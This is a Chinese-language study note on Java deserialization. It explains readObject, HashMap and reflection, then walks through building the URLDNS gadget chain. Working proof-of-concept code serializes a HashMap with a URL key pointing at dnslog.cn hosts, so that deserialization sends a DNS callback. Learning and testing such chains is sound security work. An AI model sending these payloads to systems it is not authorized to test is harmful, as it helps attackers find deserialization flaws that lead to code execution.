0x01 科普时间

1. 产生java反序列化的必备条件

当Java应用对用户输入,也就是不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,在产生非预期对象的过程中就有可能造成任意代码执行。

  • 为什么Java反序列化的出现率这么高?

    因为Java会给用户提供一些公用库,例如commons-collections,commons-beanutils这些库中实现的一些类可以被反序列化用来实现任意代码执行。
    WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用,就是依靠了commons-collections
    

也就是说,可控的序列化数据 + 公用的java依赖库是导致Java反序列化的根本条件

2. 一些不是基本数据类型的传参

方法中传入的参数类型为参数类型,不是int,String这些基本数据类型是啥意思

意思就是设置了一个该类的对象~ 可以直接调用的啦,不需要在实例化了

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

3. java的映射(Map)是什么

Map是java提供的一个官方接口,使用的话就是 import java.util.Map;

作用: 给定一个键和一个值,你可以将该值存储在一个 Map 对象。之后,你可以通过键来访问对应的值。

HashMap类是实现Map接口的一个类,实现上行说的那个功能的具体代码

4. 如何实现类在被反序列化时触发类里的某个方法

在序列化和反序列化过程中需要特殊处理的类必须实现具有以下确切签名的特殊方法:

private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException;

5. java反射是什么及个人理解。

反射之中包含了一个「反」字,所以想要解释反射就必须先从「正」开始解释。

一般情况下,我们使用某个类时必定知道它是什么类,是用来做什么的。于是我们直接对这个类进行实例化,之后使用这个类对象进行操作。

Apple apple = new Apple(); //直接初始化,「正射」
apple.setPrice(8999);

上面这样子进行类对象的初始化,我们可以理解为「正射」。

而反射则是一开始并不知道我要初始化的类对象是什么,自然也无法使用 new 关键字来创建对象了。

敲黑板了

[推荐阅读顺序一]https://blog.csdn.net/qq_36226453/article/details/82790375
[推荐阅读顺序二]https://www.cnblogs.com/chanshuyi/p/head_first_of_reflection.html

个人理解:

1.就是java把所有的.class文件当做一个class类,想要用先告诉java你要用哪个class类,然后提供一部分方法实现或者说是细化这个功能

2.就是java把class类里所有的方法当做class类一个子类,想要用就用上步创建的你的目标class对象来调用,提供一部分方法实现或者说是细化这个功能

3.就是java把class类里所有的属性(变量)当做一个class类一个子类,想要用就用上上步创建的你的目标class对象来调用,提供一部分方法实现或者说是细化这个功能

4.想要执行目标类的方法要使用Object object = clazz.newInstance(); 先获得一个对象,就是上上上步获得的目标class对象的newInstance()方法获得一个目标class对象的字节码对象,还得用invoke调用,然后有时候还等同于new一个对象,比如序列化时传入writeObject()的也是这个对象(这步纯个人理解,有点迷糊,好吧我是垃圾)

我写的学习代码
package com.company;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ReflexDemo {

    String name = "张三";
    int age = 18;

    public String ReflexDemo() {
        String result = "name:" + name + " age:" + age;
        return result;
    }

    public String getName(String nameDemo) {
        this.name = nameDemo;
        return name;

    }

    public int getAge(int ageDemo) {
        this.age = ageDemo;
        return age;
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
        /*
            通过反射执行目标类的方法
        */

        //获取Class对象,我理解为java在运行的时候将运行的所有xxxx.class文件当做一个class类,然后用这个方法在这个大个的class类中获得需要使用的类的对象
        Class clazz = Class.forName("com.company.ReflexDemo");

        //在上步获得的Class对象里获得里面的getName方法作为目标方法的对象,传入的就是方法名及需要的参数数据类型 (已知想使用的目标方法名)
        Method method = clazz.getMethod("getAge", int.class);

        //在上上步获得Class对象获得XXX,就当获得class对象的执行代码的字节码?不知道这步叫啥,我就当成是固定格式了,有的人还会先用getConstructor()方法在用newInstance(),查的时候也说newInstance是获得构造方法的,但是不是构造方法也能用啊,不清楚
        Object object = clazz.newInstance();

        //用获得目标方法的对象method使用invoke()方法执行此方法,传入的是目标方法的对象和需要的参数
        System.out.println(method.invoke(object,15));


        /*
            通过反射修改目标类的变量
        */

        Method methodTwo = clazz.getMethod("ReflexDemo");
        System.out.println("未修改前:" + methodTwo.invoke(object));

        Field field = clazz.getDeclaredField("age"); //获得想要修改的变量名对象
        field.setAccessible(true); //设置为允许访问
        field.set(object,8); //修改age变量的值为8

        System.out.println("已修改后:" + methodTwo.invoke(object));

    }
}
  • 本文用到java反射相关的方法

getDeclaredFields() : 使用 Class 对象的 getDeclaredFields() 方法则可以获取包括私有属性在内的所有属性

forName() : 获取Class对象,我理解为java在运行的时候将运行的所有xxxx.class文件当做一个class类,然后用这个方法在这个大个的class类中获得需要使用的类的Class对象

setAccessible() : 将目标类里的变量设置为允许修改状态

set() : 对想要修改的变量值进行赋值

0x02 了解前置知识后的URLDNS利用链构造

package com.company;

import java.util.HashMap;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;

public class  UrldnsDemo {

    public static void main(String[] args) throws Exception {
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        URL url = new URL("http://y4dehg.dnslog.cn");
        url.hashCode();

    }
}

首先是要知道的是java.net.URL这个类,在创建对象后调用hashCode()方法是会调用getHostAddress()方法的,所以会请求一次域名,跟进的话ctrl/command+鼠标左键点击hashCode()然后在点击hashCode()就能看到getHostAddress了

而java.util.HashMap这个类重写了readObject方法(跟进头部代码import java.util.HashMap的HashMap即可获得源代码),且设置为此readObject()方法在被反序列化时执行,最终在此方法的代码最下面执行了hash方法传入的参数是从反序列化字节码中得到的key


所以尝试写一下payload,看看能否反序列化时发出dns请求

Map hashMap = new HashMap();  //实例化hashMap类,利用的就是此类他重写的readObject方法,被反序列化时自动调用
URL url = new URL("http://dskg3c.dnslog.cn");  //实例化URL类,传入准备请求的域名,此对象用来当做key传入hashMap的
hashMap.put(url,"test");  //写入到hashMap中,url为key,test为value,hashMap就是用来存储键值对的一个数据类型

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();

发现在反序列化时无法发出dns请求,后续在HashMap.java的1413行就是hash方法那里打断点跟进后面的代码才知道,就是因为下图显示,满足hashCode!=-1条件,没有执行902行真正的hashCode()方法

所以要更改hashCode变量的值就用到了java的反射,代码修改为

package com.company;

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.util.HashMap;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Map;

public class  UrldnsDemo {

    public static void main(String[] args) throws Exception {

        Map hashMap = new HashMap();  //实例化hashMap类,利用的就是此类他重写的readObject方法,被反序列化时自动调用
        URL url = new URL("http://bqorej.dnslog.cn");  //实例化URL类,传入准备请求的域名,此对象用来当做key传入hashMap的

        Class clazz = Class.forName("java.net.URL"); //获取想要反射的目标类的Class对象
        Field f = clazz.getDeclaredField("hashCode"); //在存储的想要反射的目标类的clazz对象中的所有变量中获得hashCode变量存入f对象
        f.setAccessible(true); //设置hashCode变量为允许访问

        f.set(url,1); //锦上添花,加上这句就可以在下面这句put的时候让本地不发出dns请求,就跟文章前面的代码没有成功发出dns请求的原理一样,为了让hashCode!=-1 ,就随便赋个值
        hashMap.put(url,"test");  //写入到hashMap中,url为key,test为value,hashMap就是用来存储键值对的一个数据类型
        f.set(url,-1); //修改的是URL类里的变量,所以传入url对象和要修改的值

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();


//        Map m1 = new HashMap();
//        m1.put("Zara", "8");
//        m1.put("Mahnaz", "31");
//        m1.put("Ayan", "12");
//        m1.put("Daisy", "14");
//        System.out.println();
//        System.out.println(" Map Elements");
//        System.out.print("\t" + m1);

    }
}

这样就可以实现java在反序列化的时候发出了dns请求

PS:可能说的比较啰嗦,因为我是在理解URLDNS利用链前还得先去了解一些java的知识,一些也写到文章里了,其实就是硬啃o(╥﹏╥)o,后来理解了后觉得URLDNS这个链确实很简单,大部分时间还是在学习前置知识,也方便后续的其他链的学习啦